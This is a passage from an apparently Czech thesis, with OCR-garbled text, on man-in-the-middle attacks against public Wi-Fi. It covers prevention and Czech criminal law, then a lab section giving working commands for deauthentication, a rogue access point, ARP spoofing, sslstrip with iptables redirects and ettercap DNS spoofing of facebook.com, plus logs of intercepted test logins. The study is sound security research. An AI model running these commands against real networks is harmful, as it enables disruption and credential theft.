pozadovana stranka

WEB SERVER

pozadovana stranka

UZIVATEL UTOCNIK

Obrazek 8: Princip SSL stripu

Pozorny wuzivatel by si mohl tohoto utoku povSimnout. Pfi pfistupu na
zabezpeceny server se mu misto https:// ukdZe v jeho prohliZzec¢i http://. DalSim
identifikatorem bezpecéného pfipojeni je zamek, ale i ten je v novéjsi verzi SSL stripu

podvrzeny.
3.2.2.2 DNS spoofing

Dalsi moznost, kterou utocnik muze vyuzit je podvrzeni DNS serveru.
DNSspoofing pracuje s DNS, ktery pieklada nazvy serveru na piislusné IP adresy.
Utoénik si v ném manuélné nakonfiguruje seznam stranek a pridéli jim sviij A zaznam.
V ptipad¢ zadani jmenné adresy takové stranky bude uZivatel pfesmérovan na IP

adresu, kterou si uto¢nik nakonfiguruje.
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Na priklad pii uzivatelovo zadani do vyhledava¢e www.mojebanka.cz jde dotaz
na DNS server, aby zjistil, jaka nalezi adresa nazvu. DNS odpovi s IP adresou, ktera ho
presméruje na realné webové stranky Komerc¢ni banky. Viz. Obrazek ¢islo 5.

Pies nastroj Ettercap v Kali Linuxu muze uto¢nik provést dns spoofing, kde
zmeéni [P adresu konkrétni stranky. Pii zadani www.mojebanka.cz uzivatele Gtocnik
pfesméruje na svij server stejné vypadajici jako stranka banky. Oklamany uzivatel za
ucelem priihlaSeni do internetového bankovnictvi zada své ptihlasovaci udaje do

formulare, které Gto¢nik odposlechne.

www.mojebanka.cz
>
l N

UZIVATEL

DNS SERVER

UTOCNIK
194.50.226.34
91.128.51.16
- ~BD—
podvrzena
; odpoveéd spravna
SVl odpovéd DNS SERVER
UTOCNIK

Obrazek 9: DNS Spoofing
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3.2.2.3 SSL split

SSL split je nastroj, ktery se vyuziva proti TLS/SSL Sifrovani, vyuziva OpenSSL
knihovnu. Funguje tak, Ze prerusi bézici zabezpecené spojeni a navaze se serverem
op¢tovné nové, kde klientovi podvrhne nové spojeni s vlastnim certifikaitem. Umi
generovat certifikaty za b&hu podle plivodniho certifikdtu a nastavi, ¢im budou

podepsané. Mimo to loguje veskera data, ktera pfes n¢j putuji.

3.3 Rizika oklamanych uzivateli

Uzivatelé Wi-Fi pfipojeni, kterym je poskytnuto pfipojeni mohou mit rtzné
nasledky. Pro uzivatele prohlizejici si pouze stranky bez piistupovych udaji, nehrozi
riziko zadné. Dochézi k naruseni integrity.

Vétsi dopad to muze mit na uZzivatele pouzivajici e-mailovou komunikaci,
socialni sité, internetové bankovnictvi nebo jiné platebni portaly. V tomto piipade je
mozné, ze uto¢nik bude odposlouchavat veskeré osobni udaje a citliva data. Téz by
mohl dopravované zpravy upravovat. Nasledky mohou znamenat znepfistupnéni svych

vlastnich uct po zméné udaji tto¢nikem nebo financni Gjmu.

Tabulka 1: Dopad pro oklamané uZzivatele

Prakticky dopad Uroveii
BéZné brouzdani po internetu Integrita Minimalni
E-mail - socialni sité Integrita Piistup Stiedni - Kriticka
Transakce Integrita Piistup Platebni udaje Kriticka

Dal$im rizikem by mohlo byt vyfazeni z vnitini sité. TO znamena nedostupnost

ostatnich zafizeni v interni siti nebo pouhému k odpojeni od internetu.

3.4 Prevence

Prevenci je bezesporu zakladni znalost a opatrnost. Potom by kazdy uzivatel
pfizptsobil své chovani ve vefejnych sitich. Kazdy administrator by mél svij
pfistupovy bod zabezpecit alesponn pomoci WPA2 s dostatecné kvalitnim heslem.

Nejhorsim ptipadem jsou AP v oteviené podobé.
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3.4.1 NASTAVENI AP

Vhodnym fesenim pro podnikovou sit’ se v dnesni dob¢ nabizi spojeni WPA2
s kombinaci autentizaci uzivateli pomoci serveru RADIUS a vyuzitim IDS systému.
Pro domaci bezdratovou sit’ vSak pln¢ dostacuje WPA2-PSK, kde tajny kli¢ PSK je
nahodnym sledem kombinace az 63 pismen, Cislic a znakl. V tomto piipad€ Gtocnik
nezna heslo a neni schopen nastavit svoji faleSnou sit tak, aby se tam uzivatelé ptipojili.

Pifi dodrzeni politiky hesel je pro Gto¢nika takika nerealné dané heslo prolomit.
Viz: tabulka ¢. 2. Vzdy existuje riziko, zda néktery z uzivatelii neporusi bezpec¢nostni

politiku a heslo Wi-Fi sité vyzradi, at’ uz védomé ¢i ne.
3.4.2 POLITIKA HESEL

Dodrzeni této politiky je obecné nezbytné. Tyka se to jak ptimého pfistupu do
administratorského rozhrani routeru tak samotného hesla k Wi-Fi. Obezietni by méli byt
zejména spravci podnikové Wi-Fi sité.

Bezpecné heslo musi obsahovat tyto vlastnosti:
e Heslo nesmi byt implicitni (pt. admin : password).
e Délka hesla alesponi 12 znak.
¢ Kombinace velkych pismen, malych pismen, ¢isel a symbold.

e Dilezité je, aby heslo nebylo realné slovo (slovnikové titoky).

Dnesni vypocetni vykony jsou schopna lamat velmi efektivné. Viz tabulka.

Manualné zadavano skrze testovaci web https://howsecureismypassword.net/

Tabulka 2: Kvalita hesla

Délka hesla 8 9 0
Cisla 3 milisekundy | 25 milisekund | 300 milisekund | 3 sekundy 25 sekund 4 minuty
Mala pismena 5 sekund 2 minuty 1 hodina 1den 4 tydny 2 roky
Velka + mala 22 minut 19 hodin 1 mésic 6 let 300 let 16 tisic let
f/';ﬂ:’cr;’ 1 1ok 300 let 49tisiclet | 9milionlet | 2 biliony let | 333 bilioni let
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3.4.3 AKTUALIZACE SYSTEMU

Je to nezbytnia cCinnost, kterd vede kudrzeni aktudlnosti zafizeni. Timto
pfedchazime Vv minulosti odhalenym chybam. Existuji databaze, kde se sdili
bezpecnostni chyby napfic celym svétem. Napiiklad CVE databaze. Na zaklad¢
objevovani chyb vychazeji aktualizace pro jednotliva zatizeni, které s sebou nesou

bezpecnostni zaplaty.
3.4.4 OPATRNOST UZIVATELE

Jedna se o takové pouceni, které vede k uvédomeéni si rizik a moznosti zneuziti
sit€ neopravnénou osobou. Kazdy by si m¢l uvédomit, ze vetejné Wi-Fi sit¢ mohou byt
zdrojem nebezpeci pro jejich data. Proto by zde neméli pracovat s osobnimi a dal$imi
zneuzitelnymi udaji.

Obecné by uzivatelé neméli pouzivat bezdratové sit€ ve vefejném prostiedi pro
jiné ucely, nez je b&ézné prohliZzeni internetu. Ve Wi-Fi sitich se doporucuje pouZivat
ptfipojeni VPN, které data zaSifruje a rozSifruje je az VPN server, ktery je preda dal.

Dalsim pravidlem, kterym by se uzivatelé méli drzet je autentizacni zabezpeceni
na principu vice faktorového ovéfeni, naptiklad pomoci ovétovaci SMS zpravy.

Nezbytné je vycCiSténi jiz zndmych ulozenych Wi-Fi siti, pfedevSim téch
nezabezpecenych. Zatizeni se béZzné¢ automaticky pfipojuji na znamé sité. Tento princip
je vyuzivan, kdy uto¢nik zachytava vysilané rdmce zafizeni a uzivateli podvrhne
vyhledavanou sit’. Tento tGtok se nazyva Karma.

U systému Android mizeme zndmé Wi-Fi sit€¢ mazat polozkové ze seznamu,
oproti novému opera¢nimu systému iOS 10.3 to Ize pouze pies obnoveni sitového
nastaveni celého telefonu.

V opera¢nim systému Windows nebo Linux lze sit¢ snadno smazat ve spravé
znamych sitich. U kazdé¢ sit¢ si miZzeme také individudlné nastavit, zda se k ni chceme
automaticky pfipojit.

V obrazcich ukazuji priklad ze zafizeni Samsung Galaxy S4 a Apple iPhone 6,

kde sprava Wi-Fi siti neni idealni.
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WiFi WPA2

Odstranit

Obnovit nastaveni sité

Zrusit

Obrazek 11: Mazani siti v Androidu Obrazek 10: Mazani siti v iOSu

Dalsim opattenim je vypnuti automatického vyhledavani a ptipojeni na Wi-Fi,
popiipad¢é vypinat Wi-Fi v pfipadé nepouzivani.

U vétsiny Android systém to Ize manualné deaktivovat v nastaveni
bezdratového ptipojeni. U operacniho systému iOS budou zndmé sité pripojovany vzdy
automaticky. Jedinou moznosti je mit trvale vypnuty WiFi adaptér. U OS Windows to

1ze nastavit u kazdé sité individualné.

eseen VFCZ & 8:08 - 100 % -

< Nastaveni Wi-Fi

Wi-Fi ( @)

v WiFi WPA2 a7 ()
VYBERTE SiT
Jina...

Vyzva pro pfipojeni o

Znamé sité budou pfipojeny automaticky. Pokud nebudou
Zadné zndmé sité k dispozici, zobrazi se dotaz na pfipojeni
k nové siti

Vyzva pro pfipojeni

Zn4mé sité budou pfipojeny automaticky. Pokud nebudou
Zadné znamé sit& k dispozici, bude nutné vybrat sit ruéné.

Obrazek 12: Automatické pfipojeni na sité v iOS
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4 Analyza zakonitosti utoku

Celé po¢inani uto¢nika porusuje nékolik zdkonti Ceské Republiky. Popsal jsem
zde paragrafy zainteresované v této problematice. Cilem mé prace byl nejen prizkum
porusované legislativy, ale 1 moznost provedeni takového utoku v ramci cCeskych

zakonn.

4.1 Trestni zakonik

Aktualni znéni Trestniho zakoniku s poc¢itacovou kriminalitou pocita a vymezuje
ji nékolika paragrafy. V naSem piipadé¢ se postupovani utoc¢nika nejvice dotykaji

nasledujici Ctyfi paragrafy.
4.1.1 NEOPRAVNENY PRISTUP K POCITACOVEMU SYSTEMU §230

Tento zékon v naSem ptipadé€ porusuje Utocnik, ktery pii jeho pocinani prolomi
pfistupové Udaje a nasledné je vyuzZije ve svlij prospéch. V tomto pfipadé muze byt
potrestan odnétim svobody aZ na dvé 1éta.

Pokud ziska Gto¢nik pfistup a neopravnéné uzije data, pozméni data, poskodi je
nebo neopravnéné vlozi svoje data do jiného sytému tak mtize byt potrestan odnétim
svobody az na tfi 1éta. Tento trestny ¢in pachd uto¢nik napiiklad tim, Ze se dostane do
komunika¢niho kanalu. Viz Man in the middle 2.2.6.

Pokud by se prokazal umysl zpisobené skody, Gjmy nebo ziskani prospéchu
muze byt Uto¢nik potrestan az na Ctyfi léta. Na stejnou dobu muze byt potrestan
Vv ptipadé atoku typu DOS, kdy neopravnéné omezil funkénost systému nebo jiného
technického zatizeni.

V piipadé, kdy se bude jednat o organizovanou skupinu pachatelli, pfipada zde
trest az na pét let odnéti svobody. Trest na stejnou dobu by mohl dostat Gto¢nik 1
Vv piipad¢, zpisobi-li jeho ¢inem vaZnou poruchu v ¢innosti pravnické nebo podnikajici

fyzické osoby.
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4.1.2 OPATRENI PRISTUPOVEHO HESLA K POCITACOVEMU SYSTEMU §231

V ptipadé, kdy uto¢nik prolomi piistupové heslo k systému a nasledné ho
piechovava, proda, zpiistupni nebo nabizi, bude potrestan odnétim svobody az na jeden
rok. Pokud by dany pfistup ziskal prospéch pro sebe nebo jiného znacny prospéch,

dostavame se na trest az tii let.
4.1.3 POSKOZENI CI1ZiCH PRAV §181

Tento paragraf upravuje Cinnost Gto¢nika, kdy vyuziva néci omyl nebo uvede
nékoho v omyl. V naSem ptipadé se jedna o situaci, kdy uto¢nik bude vyuzivat
nevédomost uzivatelll, ktefi maji zapnuté automatické ptfipojovani na Wi-Fi sité. Vice
v odstavci 3.2. postupy utocnika. Tento paragraf se také vztahuje na zasilani
deautentizac¢nich paketd na deasociaci z AP. Vtomto piipadé¢ mize byt utoénik

potrestan odnétim svobody az na pét let.

4.1.4 PORUSENi TAJEMSTVi DOPRAVOVANYCH ZPRAV §182

Paragraf 182 pfimo vystihuje Gto¢nika, ktery provadi odposlech v siti. PiSe se
zde: ,,Ten, kdo umysIné porusi tajemstvi datové nebo textové zpravy posilané
prostiednictvim sit¢ elektronickych komunikaci a pfifaditelné k identifikovanému
uZzivateli, bude potrestan odnétim svobody na tfi léta az deset let podle iimyslu a rozsahu

zpusobené Skody.*

4.2 Moznost provedeni utoku v ramci legislativy

Po zjisténi v odstavcich vySe vyplynulo, Ze tento Gtok nelze modifikovat tak, aby
byl proveden v ramci nasi legislativy. Chtél jsem délat statistiku pfipojenych zafizeni
utokem typu Karma, ale to bohuzel nelze. Vyuzil bych zde nevédomosti uzivateli a
automatického pfipojovani na sit. | v pfipadé, Zze bych neodposlouchaval data a
zaznamenaval pouze statistiku pfipojenych, porusil bych § 181.

Jedind mozZnost testovani ve vefejnych mistech bylo provedeni statistiky na
pocet ptipojenych uzivatelii bez poskytovani internetu. V praktické ¢asti jsem vytvofil
nezabezpecenou Wi-Fi sit’ bez ptistupu na internet, kdy se uzivatel védomé ptipojil po
jeho pozadavku. Jejim cilem bylo zjistit pocet lidi vyuZivajici takové pfipojeni v praxi a

poukazat na nevédomost uzivateli.
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Veskeré ostatni simulace byly testovany na vlastnim zafizeni nebo s uzivateli,
ktefi byli o vS§em pfedem informovéni. Béhem testovani nebyly zaddvany zadné redlné
pristupové tdaje ani jiné citlivé informace, které by mohli byt zneuzity.

Jednal jsem podle § 30 Svoleni poSkozeného. Kde se pise: ,, Trestny ¢in nespacha,
kdo jedna na zakladé¢ svoleni osoby, jejiz z4jmy, o nichz tato osoba miize bez omezeni

opravnéné rozhodovat, jsou ¢inem dotceny.*
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5 Prakticka cCast

5.1.1 PREHLED POUZITEHO HW A SW

Celé testovani jsem provadeél skrze operaéni systém Linux. Konkrétné
v distribuci Kali 2.0. Tato distribuce byla navrzena s nékolika nastroji pro snadnéjsi
digitalni forenzni analyzu a penetraéni testy. Obsahuje modifikovany live CD
BackTrack. Vyuzivam zde zejména tyto nastroje:

a) Aircrack-ng

b) Kismet

c) Wireshark

d) Mana-toolkit

e) Ettercap

f) FruityWifi

g) SSLstrip

h) Apache

Testovani bylo provadéno na mém osobnim notebooku Dell se sitovym
adaptérem Intel Dual Band Wireless-AC 3165 a externim USB WiFi adaptérem. Jako
testovaci Wi-Fi routery jsem pouzival Netis WF2419 a TP-Link TL-WR740N. Pro

konfiguraci online ptipojeni jsem pouzil sitovy kabel k soukromému piipojeni.

5.2 Simulace utoku

V praktické Casti simuluji vice realnych situaci. V prvni z nich jsem vychazel ze
situace, kdy je n¢kolik zafizeni pfipojeno na jejich vlastni AP. V této situaci bylo cilem
jejich vytazeni a nasledné ptivedeni na duplikovany podvrzeny AP.

V dalsi casti presel k odposlouchavani dat pii neSifrované i Sifrované podobg.
Dale jsem poukazal na dal$i moznost vyuZiti takového postaveni uto¢nika v siti a to na
DNS spoof, kdy jsem uzivatelim cilené¢ sméroval jiné IP adresy serverl, nez se
puvodné chtéli ptipojit.

Mimo simulace Utoku jsem vytvofil statistiku, kterd zjiStovala pocet

ptipojovanych uzivatelii na nezabezpeceny AP ve vetfejnych prostorech.
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5.2.1 PRIPRAVA VLASTNIHO ZARIZEN{

Pted celou simulaci jsem musel nejdiiv vSe nakonfigurovat. Na vlastnim zafizeni
jsem nainstaloval zminénou linuxovou distribuci odvozenou od Debianu. Zakoupil jsem
bezdratovy USB Wi-Fi adaptér. Vytvotfeny tieti interface z USB jsem vyuzil pfi
simulaci utoku, kdy jsem odesilal deautentiza¢ni pakety. Druhé dva interface byli na

pfijimani a poskytovani internetového ptipojeni skrze pristupovy bod.
5.2.2 TEST C. 1: ZiSKANI UZIVATELU Z POVODNIHO AP

V piedem domluvené situaci se 8 uzivatell pfipojilo na pfistupovy bod s SSID:
Wi-Fi, ktery piedstavoval jejich pivodni ptipojeni k internetu. Celkem bylo piipojeno
12 zafizeni, z toho 8 osobnich notebooku, 2 telefony android a 2 Apple telefony.

V prvnim kroku jsem provedl deautentizacni utok. Jeho cilem bylo vyfradit
uzivatele z pivodniho pfistupového bodu a skrze automatické ptipojovani je dostat na
podvrzeny bod. Podvrzeny pfistupovy bod uUtocnika byl nakonfigurovan se stejnym
typem zabezpeceni a SSID jako byl ten pivodni.

V teoretické Casti jsem pouzival piikaz: aireplay-ng -0 1 -a
F8:1A:67:72:0F:5E -c B8:78:2E:81:79:2F wlan0, ktery vyfadil konkrétniho
uzivatele z konkrétniho pfistupového bodu. V tomto tkolu jsem chtél vytadit a naldkat
vSechny wuzivatele. Proto vynechdvam MAC adresu uZivatele a piSu jen MAC
ptistupového bodu.

Zékladem bylo odhaleni MAC adresy cilového pfistupového bodu. Toho jsem
dosahl pres Aircrack-ng z mého externiho USB interface wlanl piikazem: airodump-
ng wlanl, ¢imZ jsem naskenoval okoli a zjistil, ze BSSID cileného AP je
04:8D:38:4C:26:4F. Nasledovné jsem se deautentizacnim ttokem pustil do odpojeni

vSech uzivatelt najednou.
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Deautentizaci jsem nechal bézet v nekoneéném cyklu z USB interface wlanl,

aby nedoslo k pfipojeni na ptivodni AP.

:~# aireplay-ng -0 0 -a 04:8D:38:4C:26:4F wlanl
14:15:27 Waiting for beacon frame (BSSID: 04:8D:38:4C:26:4F) on channel 5
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
:15:27 Sending DeAuth to broadcast -- BSSID: [04:8D:38:4C:26:4F]
:15:28 Sending DeAuth to broadcast -- BSSID: [04:8D:38:4C:26:4F]
:15:28 Sending DeAuth to broadcast -- BSSID: [04:8D:38:4C:26:4F]
:15:29 Sending DeAuth to broadcast -- BSSID: [04:8D:38:4C:26:4F]
:15:29 Sending DeAuth to broadcast -- BSSID: [04:8D:38:4C:26:4F]
:15:30 Sending DeAuth to broadcast -- BSSID: [04:8D:38:4C:26:4F]
4:15:30 Sending DeAuth to broadcast -- BSSID: [04:8D:38:4C:26:4F)
:15:30 Sending DeAuth to broadcast -- BSSID: [04:8D:38:4C:26:4F]
:15:31 Sending DeAuth to broadcast -- BSSID: [04:8D:38:4C:26:4F]
:15:31 Sending DeAuth to broadcast -- BSSID: [04:8D:38:4C:26:4F)
:15:32 Sending DeAuth to broadcast -- BSSID: [04:8D:38:4C:26:4F]
:15:32 Sending DeAuth to broadcast -- BSSID: [04:8D:38:4C:26:4F]
4:15:33 Sending DeAuth to broadcast -- BSSID: [04:8D:38:4C:26:4F]
:15:33 Sending DeAuth to broadcast -- BSSID: [04:8D:38:4C:26:4F]
:15:34 Sending DeAuth to broadcast -- BSSID: [04:8D:38:4C:26:4F]
:15:34 Sending DeAuth to broadcast -- BSSID: [04:8D:38:4C:26:4F)
:15:35 Sending DeAuth to broadcast -- BSSID: [04:8D:38:4C:26:4F]
4:15:35 Sending DeAuth to broadcast -- BSSID: [04:8D:38:4C:26:4F]

N. _[04.-8N-22.A( 26

Obrazek 13: Deasociace uzivatel z ptivodniho AP

Béhem vtetiny byli razem vSichni uZzivatelé odpojeni od stavajiciho AP s MAC
adresou B8:78:2E:81:79:2F.

V druhém terminalovém okné jsem soucasné z interface interni sitové karty
wlan0 spustil pfistupovy bod s duplicitni konfiguraci SSID a zabezpeceni. Internetové
pfipojeni bylo zajisténo pies sitovy kabel z interface ethO

VSichni uzZivatelé méli povolenou funkci automatického vyhledavani znamych
Wi-Fi siti. Povedlo se mi zajistit ispéSné automatické pfipojeni sedmi zatizeni na mij
pfistupovy bod béhem 10 vtefin, vSechny zbylé zafizeni se pfipojili 0 nékolik vtefin
déle. Vysledkem testu byla 100% tspésnost pievedenych uzivatelll. V redlné situaci by
vysledek byl pravdépodobné jiny, protoze vSichni tuto funkci nemaji povolenou. Podle
mych osobnich prizkumii z ankety mi vyslo, ze automatické pfipojovani na zndmé sité

vyuziva 70% lidi.
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Using interface wlan® with hwaddr 00:11:22:33:44:00 and ssid "WiFi WPA2"

wlan@: interface state UNINITIALIZED->ENABLED
: AP-ENABLED
probe r for foreign SSID 'STARNET FREE Indicka' from d8
probe st for foreign S 'STARNET_FREE_Ind from d8
probe quest for foreign "STARNET FREE Ind a' Trom d8
DIE:t:(_' ] st for foreign 'S | ic from d8:
t for actu giti SSID 'WiFi WPA2' from 54

ated
: associated (aid 1)

egitimate SSID 'WiFi WPAZ'
i SSID 'WiFi WPA2'

d probe re L for & 3 L ime SS (i WPA2'
probe for a i SSID 'WiFi WPAZ2'
probe re for al, imate SSID 'WiFi WPA2'

- Directed probe 5 or a timate SSID 'WiFi WPA2'

dnsmasq: failed to create listening ] - 10.0.0.1: Adresa je uzivana

Hit enter to kill me
MANA - Directed probe request for actual/legiti e SSID 'WiFi WPAZ' from 6
. Dlrn(‘[ed prube lﬂqueft for actual itima SSID 'WiFi WPAZ2' from bc
for actual SSID 'WiFi WPA2' from €
DLrertpd |_|r0 qu for actual gitime S5ID 'WiFi WPAZ' from
i 9:41 IEEE 862.11: authenticated
9:41 IEEE 8 : associated (aid 3)

cted probe "legitimate SSID 'WiFi WPAZ'
- Directed probe .:' r gitimate SSID 'WiFi WPA2'
wlang: f J 1: authenticated
wlan@: STA rce: : associated (aid 4)
UELTH 3 ):e8: :
Directed probe requ L legitimate SSID 'WiFi WPA2'
- Directed probe st for 3 gitimate SSID 'WiFi WPA2'
MANA - Di ted probe re 5 r egiti e SSID 'WiFi WPA2'
MANA - Directed probe t r [legiti SSID 'WiFi WPA2
MANA - Directed probe re for z 3 2giti SS5ID 'WiFi WPA2'
MANA - Directed probe re for gitimate SSID 'WiFi WPA2'
wlan@: STA 34:e6 - B L cated
wlan@: STA 34:e6 B:cb IEEE dt‘u 11: ed (aid 5)
wlan@: AP-STA- {(]I‘JNEF.TED 34:eb6:ad:42:b0:cb

Obrazek 14: Casteény log z asociovani na podvrzeny AP

5.2.3 TEST ¢. 2: UTOK Z POZICE MAN IN THE MIDDLE

Hlavnim cilem bylo provedeni odposlechu dat a zhodnoceni nasledku, které
mohou nastat. V ptedstavované situaci byli respondenti pfipojeni pfes moje zafizeni,
kde jsem monitoroval komunikaci. Uzivatelim jsem nejdiive fekl, at’ zadaji vymySlené
piihlasovaci udaje na strance http://www.iccup.com/, ktera je Vv nesifrované podobé.

Pomoci programu Wireshark se podatilo jednoduse odposlechnout heslo.

HTML Form URL Encoded:

* Form 1tem: "login" = "Jmeno"
Key: login
value: me“Ga\°51nn

= Form item: "passw" = "Heslo"
Key: passw
value: Heslo

= Form item: "dologin" = "Login"
Key: dologin
walue: Login

Obrazek 15: Wireshark a odposlech nesifrovana komunikace
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5.2.3.1 SSLstrip

V dal$im pokuse jsem uzivatele poprosil o zadani vymyslenych udaju do
logovaciho panelu na strance moodle.ef.jcu.cz, ktera je zabezpecena protokolem https.
Nastrojem pro odhaleni piihlaSovaci tdaji byl pouzit SSLstrip. Cilem tedy bylo
suzivatelem udrzet komunikaci v neSifrované podobé a se serverem v Sifrované.
V tomto testovani jsem cilil na jednoho konkrétniho uzivatele, proto jsem to netestoval
scelou skupinou. Vsechny jsem poprosil, aby celou situaci sledovali z pozice
napadeného a podali mi zpétnou vazbu.

K provedeni tohoto Utoku je potfeba znat IP adresu vychozi brany a IP adresu

obéti. Adresu vychozi brany jsem zjistil pomoci ptikazu: route -n.

:~# route -n
Smérovaci tabulka v jadru pro IP
Brana Maska PFizn Metrik Odkazd Uzt Rozhrani
192.168.1.1 0.0.0.0 UG 100 0 etho

10.0.0.1 255.255.255.0 UG 0 wlan®
0.0.0.0 255,255.255.8. U @ wlano
0.0.0.0 255.255.255.0 U

Obrazek 16: Zjisténi IP adres v siti

V dal$im kroku jsem potiteboval IP adresu pfipojené obéti, kterou jsem zjistil
pomoci skenu sit€ piikazem: nmap -sP 10.0.0.1/24.
:~# nmap -sP 10.0.0.1/24

Starting Nmap 7.40 ( htt nmap.org ) at 2017-04-05 80:56 CEST
Nmap scan report for 10

Host is up 010s lat ¥).

MAC Address +E6:AD:42:B0:CB (Intel Corporate)

Nmap scan report for 10.0.0.1

Host is wup.

Nmap done: 256 IP addresses (2 hosts up) scanned in 7.34 seconds

]

Obrazek 17: Skenovani pfipojenych zafizeni v siti

Musel jsem zde vyuzit ARP spoof, aby komunikace konkrétniho uzivatele byla
smérovana pies podvrzené AP a ne pfimo na vychozi komunikac¢ni branu. Dosahl jsem
toho ptikazem: arpspoof -i wlan0 -t 10.0.0.249 10.0.0.1

=# arpspguf -Lﬂwlqnﬁ -1 10.0.0.249 10.0.0.1

G:ad:42:b@:cb 0886 4 is-at 8:11:22:
J:cb 0BB6 42: arp reply 10.0.0.1 is-at 8:11:22

J:cb 0806 42: .0. -at 0:11:
B:cb 0806 42: is-at 0:11:22:

Obrazek 18: Podvrzeni ARP
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SSLStrip v Kali Linuxu jsem sméroval na port 1000. Byla tedy potieba

pfesmérovat komunikaci pfes tento port piikazem:

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -3
REDIRECT --to-port 1000

Nésledujicim pfikazem: echo 1 > /proc/sys/net/ipv4/ip forward,
jsem povolil funkci presmérovani.

V dalsim termindlu jsem sSpustil nastroj SSLStrip od Moxie Marlinspikeho
pomoci piikazu: sslstrip -w logzaznam.txt -1 1000, kde jsem urcil ndzev

souboru pro zapisovani logovych tidaji a zvolil port.

A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 1000
et/ipv4/ip forward
am.txt -1 1088

sslstrip 0.9 by Moxie Marlinspike running...

Obrazek 19: SSLstrip

(© Nezabezpeéeno | moodle.efjcu.cz/login/ind

i

Login

Username IJ MENO
Password | .
Remember username

Forgotten your username or password?

Obrazek 20: Ukazka SSLstripu ze strany napadeného

Vsichni jsme se pov§imli vyrazného zpomaleni internetového piipojeni. Spojeni
se zpomalilo, protoze cela komunikace byla delegovana SSLstripem. Kromé zpomaleni
si nikdo z pfitomnych uzivateli nev§iml, Ze mu v URL adrese chybélo https.

Vysledek po testovani byl dohledan v souboru logzaznam.txt, ktery byl urcen pro
ukladani logovych tdaji. Na obrazku 21 je vidét odposlechnuta komunikace v http, kde

jsou citelné vSechny potiebné udaje.
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2017-04-05 12:21:27,744 Resolving host: moodle.ef.jcu.cz
2017-04-05 12:21:27,751 Host cached.

2017-04-05 12:21:27,752 Re
2017-= TZ1: 53 Sending request via SSL...
7-04-05 12:21:27,768 HTTP connection made.

?841;3&;%;_}313}:2?,?68 Sending Request: POST /login/index.php
2017-04- T2 2F+60-Sending-header: origip . hitpAmeodte BT, jCu.cz
2017-04-05 12:21:27,769 Sending header: content-length : 37
2017-04-05 12:21:27,770 Sending header: accept-language : en-US,en;q=0.8,cs;q=0.6
2017-04-05 12:21:27,770 Sending header: connection : keep-alive
2017-04-05 12:21:27,770 Sending header: accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/webp
2017-04-05 12:21:27,771 Sending header: upgrade-insecure-requests : 1
2017-04-05 12:21:27,771 Sending header: host : moodle.ef.jcu.cz
2017-04-05 12:21:27,771 Sending header: referer : http://moodle.ef.jcu.cz/login/index.php
2017-04-05 12:21:27,772 Sending header: cookie : ga=GAl.2.508093870.1454171318; utma=163687716.508093870
~ utmz=163687716.1484315471.4.3.utmcsr=google|utmccn=(organic) |utmcmd=organic|utmctr=(not%20provided);
_ utmz=51131005.1491319721.45.33.utmcsr=google|utmccn=(organic) |utmcmd=organic|utmctr=(not%20provided) ;
2017-04-05 12:21:27,772 Sending header: user-agent : Mozilla/5.8 (Windows NT 10.0; WOW64) AppleWebKit/537.36
2017-04-05 12:21:27,772 Sending header: content-type : application/x-www-Tform-urlencoded
H moodle.ef.jcu.cz):

: moodle.ef.jcu.cz -> 160.217.161.27

nse: HTTP/1.0 383 See Other

2017-04-05 12:21:27,852 Got server header: Date:Wed, 05 Apr 2017 08:21:28 GMT
2017-04-05 12:21:27,853 Got server header: Server:Apache/2.4.10 (Debian)
2017-04-05 12:21:27,853 Got server header: Expires:Thu, 19 Nov 1981 08:52:00 GMT

Obrazek 21: Logovy zdznam SSLstrippu

5.2.3.2 DNS spoofing

V dalsi simulaci jsem testoval podvrzeni DNS A zaznamu, kdy bylo cilem
prevést uzivatele na jinou stranku, nez se puvodné chtél piipojit. V Kali Linuxu jsem
vyuzil nastroj Ettercap, ktery se dd& mimo jiné pouzit pravé pro DNSspoof. DNS jsem se
rozhodl podvrhnout pro socialni sit’ Facebook.com. V prvni fadé jsem v konfiguracnim
souboru etc/ettercap/etter.dns nastavil A zaznam pro facebook.com na IP adresu mého
zafizeni V siti. V nastroji Ettercap jsem aktivoval plugin dns_spoof, ktery odesila
podvrzené DNS odpovédi ze souboru etter.dns.

TR R R R R R R R R R R R R R R R R R SR R R R S R R R 1
ettercap -- etter.dns -- host file for dns spoof plugin

Copyright (C) ALoR & NaGA

This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by

the Free Software Foundation; either version 2 of the License, or
{at your option) any later version.

oA W e W e W W W
H eSS HEEN

AR RS AR R R R R SR SRR R R R R

facebook. com A 10.0.0.104
*,facebook.com A 16.0.6. 184

Obrazek 22: Konfigurace pluginu dns_spoof
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Poté co jsem v konfiguraci nastavil A zaznam Facebooku na vlastni IP, spustil
jsem Apache server. Defaultni stranku Apache: var/www/html/index.html, jsem
nakonfiguroval na zobrazeni textu: DNS SPOOF Facebooku. Po pfipojeni uzivatele do
sit¢ jsem pouzil funkci podvrzeni ARP v Ettercapu. Bylo to nutné z divodu, aby

uzivatel jeho dotaz nesméroval pfimo na vychozi branu, ale ptes uto¢nika.

MITM Attack: ARP Poisoning @

9 Optional parameters
& Sniff remote connections.

[_| Only poison one-way.

| Znst || Budiz

Obrazek 23: Ettercap a DNS spoof

e 4 | wiww facebook.com

DNS SPOOF Facebooku

Obrazek 24: Vysledek DNS spoofu pii pfesmérovani

DNS spoof se tspésné povedl, sofistikovanéjsi by bylo vytvotfené kopie stranky té
originalni, uzivatel by nevédomky zadal heslo do ptihlasovaciho panelu. V Kali existuje

nastroj, ktery touto funkci disponuje. Jmenuje se Social Engineering Toolkit.
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5.2.4 TEST C. 3: STATISTIKA VYUZIVANI NEZNAME W 1-F1 SITE

Cilem tohoto testu bylo zjistit pocet lidi, ktefi se pfipojuji na neznamou Wi-Fi
sit’, ktera je v oteviené podob¢ bez hesla. Testovani probihalo na dvou mistech vzdy po
30 minutach. Vytvotil jsem Wi-Fi sit' s SSID: ,,WiFi“. Prvni zvolené¢ misto bylo
Vv prostorach jidelny Jihoceské univerzity. Jako druhé misto bylo vybrano obchodni
centrum Mercury v Ceskych Budg&jovicich.

Pouzil jsem néastroj FruityWifi, ktery loguje zaznamy o pfipojeni. Pfi testovani
Vv jideln€ se v prvnim palhodinném pokusu ptipojilo 5 uzivateld a v druhém 7. Béhem
testovani byli v jidelné dostupné dalsi 2 Wi-Fi sité. V obchodnim centru, kde béhem
